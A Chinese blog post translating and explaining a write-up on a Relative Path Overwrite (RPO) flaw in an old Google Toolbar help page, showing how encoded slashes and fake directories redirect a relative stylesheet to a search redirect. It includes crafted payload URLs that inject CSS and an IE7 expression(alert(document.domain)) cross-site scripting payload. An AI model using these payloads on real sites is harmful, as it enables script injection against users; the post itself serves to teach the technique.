一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它。这是一篇很有意思的漏洞挖掘文章。

  前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了。但是思路真的牛皮。我决定花费时间和精力研究它们。我决定运用我对这个漏洞的理解来讲述他们。

  存在漏洞网站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

  查看源代码

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
......

首先我们不管有没有rpo漏洞吧,先看最基础的,代码是不符合规范的

当我在sublime中输入<htm然后自动补全

代码的开头会有<!DOCTYPE html>

 

 

了解这个很重要,我们继续往下说。

    rpo呢,简单点来说就是相对路径覆盖 ,源码中引用了相对路径css文件。

    那么我们要做的就是覆盖这个css文件,导致css攻击钓鱼 or css-xss攻击?

    现在我们知道,这算符合rpo攻击的一些条件的 1.没doctype  2.包含相对路径

  下一步我们要做什么?

  进行验证,他是否支持%2f,看看他是如何解析的:

  尝试修改网站为:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

  当我们再次访问

    我们发现页面正常访问,唯一的缺陷就是css失效了,它并没有显示404

 

 

 

  为什么会css样式会失效?

  让我们深入理解他们:

   网址输入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    服务器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

 

    浏览器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    没把/改成%2f之前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    css样式表:http://www.google.com/tools/toolbar/style.css

    当把/改成%2f之后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/style.css

    这样会导致style.css不存在,所以无法加载css样式表。导致这种问题是因为apis%2fhowto_guide.html被认为是一个文件,而不是被认为是apisapis/howto_guide.html一个目录

    

    现在浏览器认为我们的目录是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis

    我们继续往前探测,我们发现它影响/tools/toolbar/buttons/*style.css ,可以覆盖他们,但是这范围太小了。

    我们尝试创建个fake目录和..%2ftoolbar

     当输入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    服务器理解:因为fake和..%2ftoolbar目录不存在,所以被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    浏览器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/fake/style.css

  在这里我们添加了fake 和..%2ftoolbar虚假目录,这样浏览器认为fake和..%2ftoolbar都是目录,因为他们中间都有/*/,而%2f被理解成了文件。

    经过实验证明,理论上我们可以css覆盖http://www.google.com/*/style.css ,但是我们再次往上层编码,发现这是不行的,会出错。所以css覆盖止步于:http://www.google.com/tools/*/style.css

    现在我们需要个契机,导致它能css覆盖成功。 我们在http://www.google.com/tools/*寻找某个自定义内容的点,希望通过它能够css覆盖成功。

      我们发现某个接口http://www.google.com/tools/toolbar/buttons/gallery

    当我们访问这个接口的时候会跳转到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1

    这个跳转链接处有个q参数搜索,那么我们在接口处http://www.google.com/tools/toolbar/buttons/gallery?q=1

    会进行二次跳转,跳转到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1

    那么我们尝试覆盖css

      在原来接口处http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}

      他会跳转到:  

      http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

      让我们查看源代码:  

      

 

 

css代码成功植入,虽然他不在style样式表中。

    为什么只能使用接口而不能使用跳转链接进行攻击?因为我们的css覆盖止步于:http://www.google.com/tools/*/style.css

    而我们的跳转接口在/tools/*下。

      现在我们来利用它:

    构造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     服务器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html

     浏览器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     css样式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

     然后进行二次跳转:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

     

 

 

 

发现背景颜色变成了红色。我们css覆盖成功。 

  现在我们把改变颜色的代码变成xss攻击代码:ie7下执行

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/

    

 

 

 

    

 就翻译到这里吧。

关于rpo攻击css地址的payload哪里来的?参考:http://www.thespanner.co.uk/2014/03/21/rpo/

这个人是作者

RPO攻击真的是一种被大部分人忽略的攻击,个人觉得危害很大,其实大家可以举一反三,它不仅仅会影响相对路径css覆盖,甚至他也能导致相对路径js覆盖劫持。我准备下一篇文章翻译他们。敬请期待。

 

posted @ 2019-09-16 16:50  飘渺__红尘  阅读(...)  评论(... 编辑 收藏